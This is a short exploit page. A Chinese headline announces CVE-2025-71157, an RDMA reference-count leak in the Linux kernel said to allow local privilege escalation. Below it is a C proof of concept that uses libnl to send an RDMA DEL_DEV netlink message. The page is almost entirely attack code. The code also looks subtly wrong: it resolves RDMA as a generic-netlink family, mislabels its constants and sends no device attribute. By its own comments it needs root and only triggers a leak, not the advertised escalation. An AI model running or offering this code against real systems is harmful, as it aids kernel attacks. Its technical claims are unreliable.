CVE-2025-71157: Linux内核RDMA子系统引用计数泄露导致本地提权

/* * CVE-2025-71157 PoC - Linux Kernel RDMA Reference Count Leak * This PoC demonstrates triggering the reference count leak in ib_del_sub_device_and_put() * Compile: gcc -o cve_2025_71157_poc cve_2025_71157_poc.c -lnl-3 -lnl-genl-3 * Note: Requires CAP_NET_ADMIN or root privileges */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netlink/netlink.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #define RDMA_NL_LS 4 /* RDMA netlink subsystem */ #define RDMA_NL_LS_CMD_DEL_DEV 5 /* Delete device command */ int main(int argc, char *argv[]) { struct nl_sock *sk; int family_id; int ret; printf("[*] CVE-2025-71157 PoC - RDMA Reference Count Leak\n"); printf("[*] Target: Linux Kernel RDMA/core ib_del_sub_device_and_put()\n\n"); /* Initialize netlink socket */ sk = nl_socket_alloc(); if (!sk) { fprintf(stderr, "[-] Failed to allocate netlink socket\n"); return -1; } /* Connect to generic netlink */ ret = genl_connect(sk); if (ret < 0) { fprintf(stderr, "[-] Failed to connect to generic netlink\n"); nl_socket_free(sk); return -1; } /* Get RDMA netlink family ID */ family_id = genl_ctrl_resolve(sk, "rdma"); if (family_id < 0) { fprintf(stderr, "[-] Failed to resolve RDMA netlink family\n"); nl_socket_free(sk); return -1; } printf("[+] Found RDMA netlink family (ID: %d)\n", family_id); /* * Trigger the vulnerability by sending DEL_DEV netlink message * This will cause ib_del_sub_device_and_put() to be called * with an existing device reference that won't be properly released */ struct nl_msg *msg; msg = nlmsg_alloc(); if (!msg) { fprintf(stderr, "[-] Failed to allocate netlink message\n"); nl_socket_free(sk); return -1; } /* Build netlink message for RDMA_NL_LS_CMD_DEL_DEV */ genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0, RDMA_NL_LS_CMD_DEL_DEV, 1); printf("[*] Sending RDMA DEL_DEV netlink message...\n"); /* Send the message */ ret = nl_send_auto(sk, msg); if (ret < 0) { fprintf(stderr, "[-] Failed to send netlink message\n"); nlmsg_free(msg); nl_socket_free(sk); return -1; } printf("[+] Message sent successfully\n"); printf("[*] The vulnerable code path will be triggered\n"); printf("[*] Check dmesg for reference count leak warnings\n"); /* Receive response */ ret = nl_recvmsgs_default(sk); if (ret < 0) { printf("[i] No response or error in receiving (code: %d)\n", ret); } nlmsg_free(msg); nl_socket_free(sk); printf("[*] Cleanup completed\n"); return 0; }